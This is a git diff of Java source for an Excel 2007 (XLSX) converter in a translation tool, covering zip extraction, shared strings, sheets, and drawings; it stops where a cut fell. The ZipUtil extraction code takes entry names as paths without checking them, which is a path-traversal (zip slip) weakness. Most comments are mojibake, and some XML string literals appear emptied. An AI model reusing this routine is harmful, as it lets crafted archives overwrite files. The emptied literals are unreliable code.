b/hsconverter/net.heartsome.cat.converter.msexcel2007/src/net/heartsome/cat/converter/msexcel2007/common/Constants.java new file mode 100644 index 0000000..8174ab8 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.msexcel2007/src/net/heartsome/cat/converter/msexcel2007/common/Constants.java @@ -0,0 +1,17 @@ +package net.heartsome.cat.converter.msexcel2007.common; + +public interface Constants { + + String WORKBOOK_PATH = "xl/workbook.xml"; + + String PART_TYPE_SST = "http://schemas.openxmlformats.org/officeDocument/2006/relationships/sharedStrings"; + + String PART_TYPE_STYLE = "http://schemas.openxmlformats.org/officeDocument/2006/relationships/styles"; + + + String NAMESPACE_DRAWING_PREFIX_XDR = "xdr"; + String NAMESPACE_DRAWING_URL_XDR = "http://schemas.openxmlformats.org/drawingml/2006/spreadsheetDrawing"; + + String NAMESPACE_DRAWING_PREFIX_A = "a"; + String NAMESPACE_DRAWING_URL_A = "http://schemas.openxmlformats.org/drawingml/2006/main"; +} diff --git a/hsconverter/net.heartsome.cat.converter.msexcel2007/src/net/heartsome/cat/converter/msexcel2007/common/InternalFileException.java b/hsconverter/net.heartsome.cat.converter.msexcel2007/src/net/heartsome/cat/converter/msexcel2007/common/InternalFileException.java new file mode 100644 index 0000000..03ea1e3 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.msexcel2007/src/net/heartsome/cat/converter/msexcel2007/common/InternalFileException.java @@ -0,0 +1,16 @@ +package net.heartsome.cat.converter.msexcel2007.common; + + +public class InternalFileException extends Exception { + + /** serialVersionUID. */ + private static final long serialVersionUID = 1L; + + public InternalFileException(){ + super(); + } + + public InternalFileException(String message){ + super(message); + } +} diff --git a/hsconverter/net.heartsome.cat.converter.msexcel2007/src/net/heartsome/cat/converter/msexcel2007/common/ReadXliffException.java b/hsconverter/net.heartsome.cat.converter.msexcel2007/src/net/heartsome/cat/converter/msexcel2007/common/ReadXliffException.java new file mode 100644 index 0000000..0d9fc20 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.msexcel2007/src/net/heartsome/cat/converter/msexcel2007/common/ReadXliffException.java @@ -0,0 +1,16 @@ +package net.heartsome.cat.converter.msexcel2007.common; + + +public class ReadXliffException extends Exception { + + /** serialVersionUID. */ + private static final long serialVersionUID = 1L; + + public ReadXliffException(){ + super(); + } + + public ReadXliffException(String message){ + super(message); + } +} diff --git a/hsconverter/net.heartsome.cat.converter.msexcel2007/src/net/heartsome/cat/converter/msexcel2007/common/SpreadsheetUtil.java b/hsconverter/net.heartsome.cat.converter.msexcel2007/src/net/heartsome/cat/converter/msexcel2007/common/SpreadsheetUtil.java new file mode 100644 index 0000000..56b0443 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.msexcel2007/src/net/heartsome/cat/converter/msexcel2007/common/SpreadsheetUtil.java @@ -0,0 +1,54 @@ +/** + * SpreadsheetUtil.java + * + * Version information : + * + * Date:2012-8-1 + * + * Copyright notice : + */ +package net.heartsome.cat.converter.msexcel2007.common; + +import java.io.File; +import java.io.FileNotFoundException; + +import net.heartsome.cat.converter.msexcel2007.document.AbstractPart; +import net.heartsome.cat.converter.msexcel2007.document.SpreadsheetDocument; +import net.heartsome.cat.converter.msexcel2007.document.SpreadsheetPackage; +import net.heartsome.cat.converter.msexcel2007.resource.Messages; + +/** + * @author Jason + * @version + * @since JDK1.6 + */ +public class SpreadsheetUtil { + + public static String getPartXml(String target, boolean isBack2TopLeve) throws FileNotFoundException { + SpreadsheetPackage spkg = SpreadsheetDocument.spreadsheetPackage; + if (spkg == null || target == null || target.length() == 0) { + throw new NullPointerException(); + } + + String r = spkg.getPackageFilePath(target); + if (isBack2TopLeve) { + spkg.back2TopLeve(); + } + return r; + } + + public static String getPartRelsTarget(AbstractPart part) throws FileNotFoundException { + String containerPartXml = part.getPartXmlPath(); + File f = new File(containerPartXml); + String partXmlName = f.getName(); + partXmlName = "_rels/" + partXmlName + ".rels"; + + return getPartXml(partXmlName, true); + } + + public static void assertNull(Object obj) throws InternalFileException { + if (obj == null) { + throw new InternalFileException(Messages.getString("msexcel.converter.exception.msg1")); + } + } +} diff --git a/hsconverter/net.heartsome.cat.converter.msexcel2007/src/net/heartsome/cat/converter/msexcel2007/common/ZipUtil.java b/hsconverter/net.heartsome.cat.converter.msexcel2007/src/net/heartsome/cat/converter/msexcel2007/common/ZipUtil.java new file mode 100644 index 0000000..d2326a4 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.msexcel2007/src/net/heartsome/cat/converter/msexcel2007/common/ZipUtil.java @@ -0,0 +1,116 @@ +package net.heartsome.cat.converter.msexcel2007.common; + +import java.io.File; +import java.io.FileInputStream; +import java.io.FileOutputStream; +import java.io.IOException; +import java.util.zip.ZipEntry; +import java.util.zip.ZipInputStream; +import java.util.zip.ZipOutputStream; + +public class ZipUtil { + + /** + * 压缩文件夹 + * @param zipPath + * 生æˆçš„zip文件路径 + * @param filePath + * 需è¦åŽ‹ç¼©çš„文件夹路径 + * @throws Exception + */ + public static void zipFolder(String zipPath, String filePath) throws IOException { + ZipOutputStream out = new ZipOutputStream(new FileOutputStream(zipPath)); + File f = new File(filePath); + zipFiles(out, f, ""); + out.close(); + } + + /** + * 将压缩文件中的内容解压到指定目录中
    + * 如果baseDir的值为空,则将文件解压到相åŒçš„目录中,目录å称为"zipFile_files" + * @param zipFile + * 压缩文件路径 + * @param baseDir + * 解压的目标路径,å¯ä»¥ä¸ºnull + * @throws IOException + */ + public static String upZipFile(String zipFile, String baseDir) throws IOException { + File f = new File(zipFile); + if (baseDir == null) { + baseDir = f.getPath() + "_files"; + } + ZipInputStream zis = new ZipInputStream(new FileInputStream(f)); + ZipEntry ze; + byte[] buf = new byte[1024]; + while ((ze = zis.getNextEntry()) != null) { + File outFile = getRealFileName(baseDir, ze.getName()); + FileOutputStream os = new FileOutputStream(outFile); + int readLen = 0; + while ((readLen = zis.read(buf, 0, 1024)) != -1) { + os.write(buf, 0, readLen); + } + os.close(); + } + zis.close(); + return baseDir; + } + + /** + * 递归调用,压缩文件夹和å­æ–‡ä»¶å¤¹çš„所有文件 + * @param out + * @param f + * @param base + * @throws Exception + */ + private static void zipFiles(ZipOutputStream out, File f, String base) throws IOException { + if (f.isDirectory()) { + File[] fl = f.listFiles(); + // out.putNextEntry(new ZipEntry(base + "/")); + base = base.length() == 0 ? "" : base + "/"; + for (int i = 0; i < fl.length; i++) { + zipFiles(out, fl[i], base + fl[i].getName());// 递归压缩å­æ–‡ä»¶å¤¹ + } + } else { + out.putNextEntry(new ZipEntry(base)); + FileInputStream in = new FileInputStream(f); + int b; + // System.out.println(base); + while ((b = in.read()) != -1) { + out.write(b); + } + in.close(); + } + } + + /** + * 给定根目录,返回一个相对路径所对应的实际文件å. + * @param baseDir + * 指定根目录 + * @param absFileName + * 相对路径å,æ¥è‡ªäºŽZipEntry中的name + * @return java.io.File 实际的文件 + */ + private static File getRealFileName(String baseDir, String absFileName) { + String[] dirs = absFileName.split("/"); + File ret = new File(baseDir); + if (!ret.exists()) { + ret.mkdirs(); + } + if (dirs.length >= 1) { + for (int i = 0; i < dirs.length - 1; i++) { + ret = new File(ret, dirs[i]); + } + if (!ret.exists()) { + ret.mkdirs(); + } + ret = new File(ret, dirs[dirs.length - 1]); + if(!ret.exists()){ + File p = ret.getParentFile(); + if(!p.exists()){ + p.mkdirs(); + } + } + } + return ret; + } +} diff --git a/hsconverter/net.heartsome.cat.converter.msexcel2007/src/net/heartsome/cat/converter/msexcel2007/document/AbstractPart.java b/hsconverter/net.heartsome.cat.converter.msexcel2007/src/net/heartsome/cat/converter/msexcel2007/document/AbstractPart.java new file mode 100644 index 0000000..0884b30 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.msexcel2007/src/net/heartsome/cat/converter/msexcel2007/document/AbstractPart.java @@ -0,0 +1,100 @@ +/** + * AbstractPart.java + * + * Version information : + * + * Date:2012-8-1 + * + * Copyright notice : + */ +package net.heartsome.cat.converter.msexcel2007.document; + +import java.io.File; +import java.io.FileInputStream; +import java.io.FileOutputStream; +import java.io.IOException; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +import net.heartsome.cat.converter.msexcel2007.common.InternalFileException; +import net.heartsome.cat.converter.msexcel2007.resource.Messages; +import net.heartsome.xml.vtdimpl.VTDUtils; + +import com.ximpleware.VTDException; +import com.ximpleware.VTDGen; +import com.ximpleware.XMLModifier; + +/** + * @author Jason + * @version + * @since JDK1.6 + */ +public class AbstractPart { + + public static final Logger logger = LoggerFactory.getLogger(AbstractPart.class); + + protected String partXmlPath; + + protected VTDUtils vu; + + protected XMLModifier xm; + + protected AbstractPart(String partXmlPath) throws InternalFileException { + this.partXmlPath = partXmlPath; + loadFile(); + } + + protected void loadFile() throws InternalFileException { + File f = new File(this.partXmlPath); + + VTDGen vg = new VTDGen(); + FileInputStream fis = null; + byte[] b = new byte[(int) f.length()]; + try { + fis = new FileInputStream(f); + fis.read(b); + } catch (IOException e) { + throw new InternalFileException(Messages.getString("msexcel.converter.exception.msg1")); + } finally { + if (fis != null) { + try { + fis.close(); + } catch (Exception e) { + logger.error("",e); + } + } + } + vg.setDoc(b); + try { + vg.parse(true); + vu = new VTDUtils(vg.getNav()); + xm = new XMLModifier(vu.getVTDNav()); + } catch (VTDException e) { + String message = Messages.getString("msexcel.converter.exception.msg1"); + message += "\nFile:"+f.getName()+"\n"+e.getMessage(); + throw new InternalFileException(message); + } + } + + public String getPartXmlPath() { + return this.partXmlPath; + } + + public void save() throws InternalFileException { + FileOutputStream os; + File f = new File(this.partXmlPath); + try { + os = new FileOutputStream(f); + xm.output(os); + os.close(); + } catch (Exception e) { + throw new InternalFileException("ä¿å­˜æ–‡ä»¶å‡ºé”™\n" + e.getMessage()); + } + } + + public void saveAndReload() throws InternalFileException { + save(); + loadFile(); + } +} diff --git a/hsconverter/net.heartsome.cat.converter.msexcel2007/src/net/heartsome/cat/converter/msexcel2007/document/Cell.java b/hsconverter/net.heartsome.cat.converter.msexcel2007/src/net/heartsome/cat/converter/msexcel2007/document/Cell.java new file mode 100644 index 0000000..111c819 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.msexcel2007/src/net/heartsome/cat/converter/msexcel2007/document/Cell.java @@ -0,0 +1,232 @@ +/** + * Cell.java + * + * Version information : + * + * Date:2012-8-3 + * + * Copyright notice : + */ +package net.heartsome.cat.converter.msexcel2007.document; + +import java.util.ArrayList; +import java.util.List; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +import net.heartsome.cat.converter.msexcel2007.reader.ReaderUtil; +import net.heartsome.xml.vtdimpl.VTDUtils; + +import com.ximpleware.AutoPilot; +import com.ximpleware.VTDException; +import com.ximpleware.VTDGen; + +/** + * @author Jason + * @version + * @since JDK1.6 + */ +public class Cell { + + private final static Logger logger = LoggerFactory.getLogger(Cell.class); + + private String valIdx; + + private String content; + + private String val; + + private Integer styleIdx; + + private String dataType; + + private ShareStringTablePart ssi; + + + private List characterStyles; + + private Cell() { + this.val = ""; + this.styleIdx = -1; + this.dataType = ""; + this.ssi = SpreadsheetDocument.workBookPart.getShareStringTablePart(); + } + + public Cell(String value, Integer styleIndex, String dataType) { + this(); + if (dataType.equals("s")) { + this.valIdx = value; + this.content = ssi.getStringItemFragment(Integer.parseInt(this.valIdx)); + this.val = loadCellText(content); + this.characterStyles = loadCellCharacterStyle(content, this.val); + } else { + this.val = value; + } + this.styleIdx = styleIndex; + this.dataType = dataType; + } + + public String getValue() { + return val; + } + + public String getFullContent(){ + return content; + } + + public List getCellCharacterStyles() { + return this.characterStyles; + } + + /** + * 直接将值更新到Share String table中
    + * 其实在这儿执行这个æ“作是ä¸åˆç†çš„,但是为了简化就在这儿åšè¿™ä¸ªæ“作了
    + * (更新的æ“作应该是在{@link SheetPart}中完æˆï¼Œæ­¤Cellç±»åªæ˜¯ä¸€ä¸ªç¼“存作用) + * @param val ; + */ + public void setValue(String val) { + if(dataType.equals("s")){ + if(characterStyles.size() != 0){ + // have character style + ssi.updateStringItem(Integer.parseInt(this.valIdx),val+getNonTextContent()); + }else { + // no character style +// System.out.println(content); + ssi.updateStringItem(Integer.parseInt(this.valIdx),""+val+""+getNonTextContent()); + } + } + this.val = val; + } + + /** + * æ›´æ–°si节点中的内容 + * @param content ; + */ + public void setShareStringItemFullContent(String content){ + content = content.replace("", "").replace("", ""); + ssi.updateStringItem(Integer.parseInt(this.valIdx), content); + } + + /** + * 获å–当å‰å•å…ƒæ ¼çš„æ ·å¼åºå· + * @return ; + */ + public Integer getStyleIndex() { + return styleIdx; + } + + public void setStyleIdx(Integer styleIdx) { + this.styleIdx = styleIdx; + } + + public String getDataType() { + return dataType; + } + + public void setDataType(String dataType) { + this.dataType = dataType; + } + + /** + * Get rPh & phoneticPr Element fragment + * @return ; + */ + private String getNonTextContent(){ + StringBuffer result = new StringBuffer(); + VTDGen vg = new VTDGen(); + vg.setDoc(content.getBytes()); + VTDUtils vu = null; + try { + vg.parse(true); + vu = new VTDUtils(vg.getNav()); + + AutoPilot ap = new AutoPilot(vu.getVTDNav()); + ap.selectXPath("/si/rPh | phoneticPr"); + while(ap.evalXPath() != -1){ + result.append(vu.getElementFragment()); + } + } catch (VTDException e) { + e.printStackTrace(); + } + return result.toString(); + } + + /** + * 加载Cell的文本内容 + * @param content + * @return ; + */ + private String loadCellText(String content) { + String result = ""; + VTDGen vg = new VTDGen(); + vg.setDoc(content.getBytes()); + VTDUtils vu = null; + try { + vg.parse(true); + vu = new VTDUtils(vg.getNav()); + + AutoPilot ap = new AutoPilot(vu.getVTDNav()); + ap.selectXPath("/si/r"); + if (ap.evalXPath() != -1) { + StringBuffer bf = new StringBuffer(); + do { + String tVal = vu.getChildContent("t"); + bf.append(tVal); + } while (ap.evalXPath() != -1); + result = bf.toString(); + } else { + vu.pilot("/si/t"); + result = vu.getElementContent(); + } + } catch (VTDException e) { + e.printStackTrace(); + } + return result; + } + + private List loadCellCharacterStyle(String content, String cellText) { + List result = new ArrayList(); + VTDGen vg = new VTDGen(); + vg.setDoc(content.getBytes()); + VTDUtils vu = null; + try { + vg.parse(true); + vu = new VTDUtils(vg.getNav()); + + AutoPilot ap = new AutoPilot(vu.getVTDNav()); + ap.selectXPath("/si/r"); + if (ap.evalXPath() != -1) { + StringBuffer bf = new StringBuffer(); + int start = 0; + do { + String rPrC = vu.getChildContent("rPr"); + if (rPrC != null) { + rPrC = "" + rPrC + ""; + bf.append("rPr=\"").append(ReaderUtil.cleanAttribute(rPrC)).append("\""); + } else { + bf.append(" "); + } + String tVal = vu.getChildContent("t"); + if(tVal == null || tVal.length() == 0){ + bf.delete(0, bf.length()); // clear + continue; + } + int sos = cellText.indexOf(tVal, start); + int length = tVal.length(); + + Object[] obj = new Object[3]; + obj[0] = sos; + obj[1] = start = sos + length; + obj[2] = bf.toString(); + result.add(obj); + + bf.delete(0, bf.length()); // clear + } while (ap.evalXPath() != -1); + } + } catch (VTDException e) { + logger.error("",e); + } + return result; + } +} diff --git a/hsconverter/net.heartsome.cat.converter.msexcel2007/src/net/heartsome/cat/converter/msexcel2007/document/DrawingsPart.java b/hsconverter/net.heartsome.cat.converter.msexcel2007/src/net/heartsome/cat/converter/msexcel2007/document/DrawingsPart.java new file mode 100644 index 0000000..1fa5130 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.msexcel2007/src/net/heartsome/cat/converter/msexcel2007/document/DrawingsPart.java @@ -0,0 +1,102 @@ +/** + * DrawingsPart.java + * + * Version information : + * + * Date:2012-8-2 + * + * Copyright notice : + */ +package net.heartsome.cat.converter.msexcel2007.document; + +import java.io.FileNotFoundException; +import java.util.ArrayList; +import java.util.Collections; +import java.util.Comparator; +import java.util.List; + +import net.heartsome.cat.converter.msexcel2007.common.Constants; +import net.heartsome.cat.converter.msexcel2007.common.InternalFileException; +import net.heartsome.cat.converter.msexcel2007.common.SpreadsheetUtil; +import net.heartsome.cat.converter.msexcel2007.document.drawing.CellAnchor; + +import com.ximpleware.AutoPilot; +import com.ximpleware.VTDException; + +/** + * @author Jason + * @version + * @since JDK1.6 + */ +public class DrawingsPart extends AbstractPart { + + // private RelsPart rels; + + private List cellAnchorList; + + public DrawingsPart(String target) throws InternalFileException, FileNotFoundException { + super(SpreadsheetUtil.getPartXml(target, false)); + + // spreadsheet package root is "drawings" + // rels = new RelsPart(this); // load the relationship of this part + + loadShapeAnchor(); + } + + public List getCellAnchorList() { + return this.cellAnchorList; + } + + public void updateDrawingObject() throws InternalFileException { + StringBuffer bf = new StringBuffer(); + for (CellAnchor c : cellAnchorList) { + c.updateCellAnchor(); + bf.append(c.getXmlContent()); + } + vu.update(getAutoPilot(), xm, "/xdr:wsDr/text()", bf.toString()); + save(); + } + + private void loadShapeAnchor() { + cellAnchorList = new ArrayList(); + AutoPilot ap = getAutoPilot(); + try { + ap.selectXPath("/xdr:wsDr/xdr:twoCellAnchor | xdr:oneCellAnchor"); + while (ap.evalXPath() != -1) { + String anchorXML = vu.getElementFragment(); + String fromCol = vu.getElementContent("./xdr:from/xdr:col"); + String fromRow = vu.getElementContent("./xdr:from/xdr:row"); + CellAnchor a = new CellAnchor(anchorXML, fromRow, fromCol); + cellAnchorList.add(a); + } + } catch (VTDException e) { + + } + + // sort by row&col ASC + if (cellAnchorList.size() > 0) { + Collections.sort(cellAnchorList, new Comparator() { + + public int compare(CellAnchor o1, CellAnchor o2) { + int o1r = Integer.parseInt(o1.getFromRow()); + int o2r = Integer.parseInt(o2.getFromRow()); + + int o1c = Integer.parseInt(o1.getFromCol()); + int o2c = Integer.parseInt(o2.getFromCol()); + if (o1r != o2r) { + return o1r - o2r; + } else { + return o1c - o2c; + } + } + }); + } + } + + private AutoPilot getAutoPilot() { + AutoPilot ap = new AutoPilot(vu.getVTDNav()); + ap.declareXPathNameSpace(Constants.NAMESPACE_DRAWING_PREFIX_XDR, Constants.NAMESPACE_DRAWING_URL_XDR); + ap.declareXPathNameSpace(Constants.NAMESPACE_DRAWING_PREFIX_A, Constants.NAMESPACE_DRAWING_URL_A); + return ap; + } +} diff --git a/hsconverter/net.heartsome.cat.converter.msexcel2007/src/net/heartsome/cat/converter/msexcel2007/document/HeaderFooter.java b/hsconverter/net.heartsome.cat.converter.msexcel2007/src/net/heartsome/cat/converter/msexcel2007/document/HeaderFooter.java new file mode 100644 index 0000000..88d4358 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.msexcel2007/src/net/heartsome/cat/converter/msexcel2007/document/HeaderFooter.java @@ -0,0 +1,44 @@ +/** + * HeaderFooter.java + * + * Version information : + * + * Date:2012-8-9 + * + * Copyright notice : + */ +package net.heartsome.cat.converter.msexcel2007.document; + +/** + * @author Jason + * @version + * @since JDK1.6 + */ +public class HeaderFooter { + + private String type; + + private String content; + + public HeaderFooter(String type, String content) { + this.type = type; + this.content = content; + } + + public String getType() { + return type; + } + + public void setType(String type) { + this.type = type; + } + + public String getContent() { + return content; + } + + public void setContent(String content) { + this.content = content; + } + +} diff --git a/hsconverter/net.heartsome.cat.converter.msexcel2007/src/net/heartsome/cat/converter/msexcel2007/document/RelsPart.java b/hsconverter/net.heartsome.cat.converter.msexcel2007/src/net/heartsome/cat/converter/msexcel2007/document/RelsPart.java new file mode 100644 index 0000000..3a75593 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.msexcel2007/src/net/heartsome/cat/converter/msexcel2007/document/RelsPart.java @@ -0,0 +1,73 @@ +package net.heartsome.cat.converter.msexcel2007.document; + +import java.io.FileNotFoundException; +import java.util.ArrayList; +import java.util.Hashtable; +import java.util.List; + +import net.heartsome.cat.converter.msexcel2007.common.InternalFileException; +import net.heartsome.cat.converter.msexcel2007.common.SpreadsheetUtil; +import net.heartsome.cat.converter.msexcel2007.document.rels.Relationship; + +import com.ximpleware.AutoPilot; +import com.ximpleware.VTDException; + +/** + * @author Jason + * @version + * @since JDK1.6 + */ +public class RelsPart extends AbstractPart { + + private List relationships; + + public RelsPart(AbstractPart part) throws InternalFileException, FileNotFoundException { + super(SpreadsheetUtil.getPartRelsTarget(part)); + loadRealtionship(); + } + + public List getRelationshipByType(String type) { + List rlist = new ArrayList(); + for (Relationship r : relationships) { + if (r.getType().equals(type)) { + rlist.add(r); + } + } + return rlist; + } + + public Relationship getRelationshipById(String rId) { + for (Relationship r : relationships) { + if (r.getId().equals(rId)) { + return r; + } + } + return null; + } + + public void loadRealtionship() { + relationships = new ArrayList(); + + String xpath = "/Relationships/Relationship"; + AutoPilot ap = new AutoPilot(vu.getVTDNav()); + try { + ap.selectXPath(xpath); + + while (ap.evalXPath() != -1) { + Hashtable attrs = vu.getCurrentElementAttributs(); + if (attrs == null) { + // TODO Error + } + String id = attrs.get("Id"); + String type = attrs.get("Type"); + String target = attrs.get("Target"); + + Relationship rsp = new Relationship(id, type, target); + relationships.add(rsp); + } + } catch (VTDException e) { + logger.error("", e); + } + } + +} diff --git a/hsconverter/net.heartsome.cat.converter.msexcel2007/src/net/heartsome/cat/converter/msexcel2007/document/ShareStringTablePart.java b/hsconverter/net.heartsome.cat.converter.msexcel2007/src/net/heartsome/cat/converter/msexcel2007/document/ShareStringTablePart.java new file mode 100644 index 0000000..b13ef57 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.msexcel2007/src/net/heartsome/cat/converter/msexcel2007/document/ShareStringTablePart.java @@ -0,0 +1,80 @@ +/** + * ShareStringPart.java + * + * Version information : + * + * Date:2012-8-1 + * + * Copyright notice : + */ +package net.heartsome.cat.converter.msexcel2007.document; + +import java.io.FileNotFoundException; +import java.io.IOException; + +import net.heartsome.cat.converter.msexcel2007.common.InternalFileException; +import net.heartsome.cat.converter.msexcel2007.common.SpreadsheetUtil; + +import com.ximpleware.AutoPilot; +import com.ximpleware.VTDException; + +/** + * @author Jason + * @version + * @since JDK1.6 + */ +public class ShareStringTablePart extends AbstractPart { + + public ShareStringTablePart(String target) throws InternalFileException, FileNotFoundException { + super(SpreadsheetUtil.getPartXml(target, false)); + } + + public String getAllStringItem() { + vu.pilot("/sst"); + try { + return vu.getElementContent(); + } catch (VTDException e) { + logger.error("", e); + } + return null; + } + + public int getAllStringItemCount() { + vu.pilot("/sst"); + try { + return vu.getChildElementsCount(); + } catch (VTDException e) { + logger.error("", e); + } + return 0; + } + + public String getStringItemFragment(int index) { + index = index + 1; + String xpath = "/sst/si[" + index + "]"; + try { + AutoPilot ap = new AutoPilot(vu.getVTDNav()); + ap.selectXPath(xpath); + if (ap.evalXPath() != -1) { + String content = vu.getElementFragment(); + return content; + } else { + // TODO error + } + } catch (Exception e) { + e.printStackTrace(); + } + return null; + } + + public void updateShareStringTable(String newVal) throws IOException, InternalFileException { + // System.out.println(newVal); + vu.update(null, xm, "/sst/text()", newVal); + saveAndReload(); + } + + public void updateStringItem(int index, String value) { + index += 1; + vu.update(null, xm, "/sst/si[" + index + "]/text()", value); + } +} diff --git a/hsconverter/net.heartsome.cat.converter.msexcel2007/src/net/heartsome/cat/converter/msexcel2007/document/SheetPart.java b/hsconverter/net.heartsome.cat.converter.msexcel2007/src/net/heartsome/cat/converter/msexcel2007/document/SheetPart.java new file mode 100644 index 0000000..0356225 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.msexcel2007/src/net/heartsome/cat/converter/msexcel2007/document/SheetPart.java @@ -0,0 +1,179 @@ +package net.heartsome.cat.converter.msexcel2007.document; + +import java.io.FileNotFoundException; +import java.io.UnsupportedEncodingException; +import java.util.ArrayList; +import java.util.Hashtable; +import java.util.List; + +import net.heartsome.cat.converter.msexcel2007.common.InternalFileException; +import net.heartsome.cat.converter.msexcel2007.common.SpreadsheetUtil; +import net.heartsome.cat.converter.msexcel2007.document.rels.Relationship; +import net.heartsome.cat.converter.msexcel2007.resource.Messages; + +import com.ximpleware.AutoPilot; +import com.ximpleware.VTDException; + +public class SheetPart extends AbstractPart { + + private String name; + private String sheetId; + + private RelsPart relsPart; + private DrawingsPart drawingsPart; + private List cellList; + + private List headers; + private List footers; + + public SheetPart(String name, String sheetId, String target) throws InternalFileException, FileNotFoundException { + super(SpreadsheetUtil.getPartXml(target, false)); + + this.name = name; + this.sheetId = sheetId; + try { + this.relsPart = new RelsPart(this); // load relationship + } catch (FileNotFoundException e) { + // no rels resource + this.relsPart = null; + } + + SpreadsheetDocument.spreadsheetPackage.back2TopLeve(); + if (this.relsPart != null) { + loadDrawingsPart(); + } + loadHeaderFooter(); + } + + public List getCells(String dataType) throws InternalFileException { + cellList = new ArrayList(); + String xpath = "/worksheet/sheetData/row/c[@t='" + dataType + "']"; + AutoPilot ap = new AutoPilot(vu.getVTDNav()); + try { + ap.selectXPath(xpath); + while (ap.evalXPath() != -1) { + Hashtable attrs = vu.getCurrentElementAttributs(); + SpreadsheetUtil.assertNull(attrs); + String styleIndex = attrs.get("s"); + styleIndex = styleIndex == null ? "-1" : styleIndex; + String val = vu.getChildContent("v"); + val = val == null ? "" : val; + Cell cell = new Cell(val, Integer.parseInt(styleIndex), dataType); + cellList.add(cell); + } + } catch (VTDException e) { + logger.error("", e); + } + return cellList; + } + + /*** + * å°†Share String Tbale中的数æ®å¡«å……满,å³æ¯ä¸€ä¸ªå¼•ç”¨éƒ½å¯¹åº”独立的String item + * @param sst + * ; + * @throws InternalFileException + */ + public int fillShareStringTable(ShareStringTablePart sst, int index,StringBuffer siBf) throws InternalFileException { + String xpath = "/worksheet/sheetData/row/c[@t='s']/v"; + try { + AutoPilot ap = new AutoPilot(vu.getVTDNav()); + ap.selectXPath(xpath); + while (ap.evalXPath() != -1) { + String c = vu.getElementContent(); + int cInt = 0; + try { + cInt = Integer.parseInt(c); + } catch (NumberFormatException e) { + throw new InternalFileException(Messages.getString("msexcel.converter.exception.msg1")); + } + siBf.append(sst.getStringItemFragment(cInt)); + xm.updateToken(vu.getVTDNav().getCurrentIndex() + 1, index+""); + index++; + } + saveAndReload(); + } catch (VTDException e) { + logger.error("", e); + } catch (UnsupportedEncodingException e) { + logger.error("", e); + } + return index; + } + + public String getName() { + return this.name; + } + + public DrawingsPart getDrawingsPart() { + return drawingsPart; + } + + public void setSheetName(String name) { + this.name = name; + SpreadsheetDocument.workBookPart.updateSheetName(sheetId, name); + } + + public List getHeader() { + return this.headers; + } + + public void setHeaderFooter(List headerFooters) { + this.headers = headerFooters; + for (HeaderFooter h : headerFooters) { + String xpath = "/worksheet/headerFooter/" + h.getType() + "/text()"; + vu.update(null, xm, xpath, h.getContent()); + } + } + + public List getFoolter() { + return this.footers; + } + + private void loadDrawingsPart() throws InternalFileException { + String xpath = "/worksheet/drawing"; + + AutoPilot ap = new AutoPilot(vu.getVTDNav()); + try { + ap.selectXPath(xpath); + if (ap.evalXPath() != -1) { + Hashtable attrs = vu.getCurrentElementAttributs(); + SpreadsheetUtil.assertNull(attrs); + String rId = attrs.get("r:id"); + Relationship r = relsPart.getRelationshipById(rId); + SpreadsheetUtil.assertNull(r); + + SpreadsheetDocument.spreadsheetPackage.markRoot(); + try { + this.drawingsPart = new DrawingsPart(r.getTarget()); + } catch (FileNotFoundException e) { + // no drawingsPart + } + SpreadsheetDocument.spreadsheetPackage.resetRoot(); + } + } catch (VTDException e) { + logger.error("", e); + } + } + + private void loadHeaderFooter() { + this.headers = new ArrayList(); + this.footers = new ArrayList(); + + String xpath = "/worksheet/headerFooter/*"; + AutoPilot ap = new AutoPilot(vu.getVTDNav()); + try { + ap.selectXPath(xpath); + while (ap.evalXPath() != -1) { + String type = vu.getCurrentElementName(); + String c = vu.getElementContent(); + HeaderFooter e = new HeaderFooter(type, c); + if (type.equals("oddHeader") || type.equals("evenHeader") || type.equals("firstHeader")) { + headers.add(e); + } else if (type.equals("oddFooter") || type.equals("evenFooter") || type.equals("firstFooter")) { + footers.add(e); + } + } + } catch (VTDException e) { + logger.error("", e); + } + } +} diff --git a/hsconverter/net.heartsome.cat.converter.msexcel2007/src/net/heartsome/cat/converter/msexcel2007/document/SpreadsheetDocument.java b/hsconverter/net.heartsome.cat.converter.msexcel2007/src/net/heartsome/cat/converter/msexcel2007/document/SpreadsheetDocument.java new file mode 100644 index 0000000..74ef935 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.msexcel2007/src/net/heartsome/cat/converter/msexcel2007/document/SpreadsheetDocument.java @@ -0,0 +1,44 @@ +package net.heartsome.cat.converter.msexcel2007.document; + +import java.io.File; +import java.io.FileNotFoundException; +import java.io.IOException; + +import net.heartsome.cat.converter.msexcel2007.common.InternalFileException; +import net.heartsome.cat.converter.msexcel2007.common.ZipUtil; +import net.heartsome.cat.converter.msexcel2007.resource.Messages; + +public class SpreadsheetDocument { + + public static WorkBookPart workBookPart; + + public static SpreadsheetPackage spreadsheetPackage; + + public static void open(String file) throws InternalFileException { + String root = ""; + try { + root = ZipUtil.upZipFile(file, null); + } catch (IOException e1) { + file = file.substring(file.lastIndexOf(File.separator)); + throw new InternalFileException(Messages.getString("msexcel.converter.exception.msg1")); + } + + try { + spreadsheetPackage = new SpreadsheetPackage(root); + } catch (FileNotFoundException e) { + throw new InternalFileException(Messages.getString("msexcel.converter.exception.msg1")); + } + + try { + workBookPart = new WorkBookPart(); + } catch (FileNotFoundException e) { + throw new InternalFileException(Messages.getString("msexcel.converter.exception.msg1")); + } + } + + public static void close() { + spreadsheetPackage.close(); + spreadsheetPackage = null; + workBookPart = null; + } +} diff --git a/hsconverter/net.heartsome.cat.converter.msexcel2007/src/net/heartsome/cat/converter/msexcel2007/document/SpreadsheetPackage.java b/hsconverter/net.heartsome.cat.converter.msexcel2007/src/net/heartsome/cat/converter/msexcel2007/document/SpreadsheetPackage.java new file mode 100644 index 0000000..959dd63 --- /dev/null +++ 